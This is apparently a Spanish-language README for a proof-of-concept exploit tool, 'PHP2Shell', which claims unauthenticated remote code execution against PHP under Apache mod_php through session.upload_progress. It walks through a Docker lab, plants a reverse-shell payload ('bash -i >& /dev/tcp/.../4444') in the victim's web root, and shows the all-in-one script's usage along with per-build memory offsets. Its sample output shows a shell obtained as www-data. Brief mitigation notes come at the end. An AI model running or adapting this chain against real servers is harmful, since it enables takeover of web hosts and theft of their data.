
Prueba de concepto de exploit para RCE pre-autenticación en PHP session.upload_progress (PHP2Shell), con fuga de heap/ASLR, perfiles de offsets por compilación y un manejador de reverse shell todo en uno.
★ CVE-2026-109618 / CVE-2026-109619 PHP session.upload_progress Pre-Auth RCE PoC ★
PHP2Shell (CVE-2026-109618 / CVE-2026-109619) es una vulnerabilidad de ejecución remota de código sin autenticación en PHP bajo Apache
mod_php. Una solicitudmultipart/form-datamanipulada provoca un fallo por agotamiento de memoria en el manejadorsession.upload_progressprevio a la solicitud, dejando punteros obsoletos que filtran las bases del heap de Zend y delibphp.somedianteSet-Cookie(evadiendo ASLR); a continuación, una HashTable falsificada redirige un destructor azif_system, ejecutando comandos como el worker web (www-data). No se requiere autenticación y la configuración de sesión vulnerable está activada por defecto.
| Categoría | Versión |
|---|---|
| Vulnerable | PHP 8.2.x / 8.3.x / 8.4.x / 8.5.x anteriores al parche |
| Parcheada | PHP 8.5.12 · 8.4.27 · 8.3.36 · 8.2.35 o posterior (2026-10-21) |
| Verificado en | php:8.4.26-apache oficial (Debian 13, amd64) |
Los offsets son específicos de cada compilación (versión · arquitectura · distribución). Este PoC incluye un perfil para
8.4.26-apache amd64; otras compilaciones necesitan su propioprofiles/*.json.
www-data)libphp, y potencialmente tokens de sesión y claves) incluso antes del RCEVíctima = php:8.4.26-apache oficial con la configuración siguiente. El atacante se ejecuta desde un contenedor
separado (eqst-kali) en el mismo puente de Docker; la reverse shell se conecta de vuelta a su IP.
# victim (official image + vulnerable config inlined in the Dockerfile)
docker build --platform linux/amd64 -t p2s-victim .
docker run -d --name p2s-victim --platform linux/amd64 p2s-victim # default bridge
docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' p2s-victim # e.g. 172.17.0.2
# attacker (kali) on the same bridge
docker network connect bridge eqst-kali
| Precondición | Estado en este laboratorio |
|---|---|
PHP 8.2–8.5 (sin parchear) + Apache mod_php | PHP 8.4.26 / Apache 2.4.69, prefork |
session.upload_progress.enabled | Activado (por defecto) |
session.use_strict_mode | 0 (por defecto) |
display_errors | Activado (proporciona la fuga de la etapa 1) |
memory_limit | 128M (por defecto — sin cambios) |
post_max_size / upload_max_filesize > memory_limit (permite que el cuerpo de una petición alcance el OOM) | 256M (las aplicaciones con capacidad de carga suelen elevar estos valores) |
| Un único proceso worker de Apache (el estado obsoleto es por proceso) | 1 |
Nota sobre el host (WSL2): en Windows Docker Desktop (WSL2) el kernel mapea
libphpen0x7c..., por debajo de la comprobación ASLR0x7F...del exploit original, por lo que descarta la fuga válida.p2s_shell.pyamplía automáticamente ese rango. En un host Linux nativo el parche no tiene efecto.
p2s_shell.py es un único proceso que abre su propio listener, obtiene el exploit original,
selecciona los offsets de profiles/*.json según la versión de PHP del objetivo, desencadena la cadena y captura
una reverse shell mejorada a PTY (sin necesidad de un nc independiente).
PoC/
├── Dockerfile # victim image (config inlined)
├── p2s_shell.py # all-in-one: fingerprint -> offsets -> trigger -> shell
└── profiles/php-8.4.26-apache-amd64.json # per-build offsets (system/dtor/htdata)
(vendor/exploit.py is auto-fetched from upstream at run time; not stored here)
Requisito previo único: colocar el payload de reverse-shell en la raíz web de la víctima (el portador del comando
tiene 14 bytes, por lo que los payloads largos van en un archivo ejecutado mediante bash</w/c, según lo indicado upstream):
KALI=$(docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' eqst-kali)
docker exec p2s-victim sh -c "printf 'bash -i >& /dev/tcp/$KALI/4444 0>&1\n' > /w/c" # /w = web root symlink
Ejecuta el PoC desde dentro del atacante (las rutas son relativas al script):
# interactive PTY shell (victim IP from the inspect above)
python3 p2s_shell.py -u http://172.17.0.2/index.php
# batch: run commands and print output
python3 p2s_shell.py -u http://172.17.0.2/index.php --run 'id;uname -a'
Analiza el fingerprint X-Powered-By: PHP/8.4.26, carga el perfil correspondiente y abre la shell:
[*] profile php-8.4.26-apache-amd64.json: PHP 8.4.26/amd64 system=0x465370 dtor=0x65eb60 htdata=0x690D8
[*] listening on 0.0.0.0:4444
[*] triggering exploit: bash</w/c (offsets from JSON profile)
[+] reverse shell from 172.17.0.2:54620
www-data@victim:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Opciones:
--run 'c1;c2' — modo por lotes (no se necesita terminal interactiva)--no-pty — mantener un shell simple en lugar de la actualización a PTY--php-version / --arch — sobrescribir la compilación objetivo cuando X-Powered-By está oculto--lport — puerto del reverse shell (debe coincidir con el puerto integrado en /w/c, por defecto 4444)session.upload_progress.enabled = Off si no se utiliza el progreso de cargadisplay_errors = Off en producción (bloquea la fuga de la etapa 1 incluida)zend_mm_heap corrupted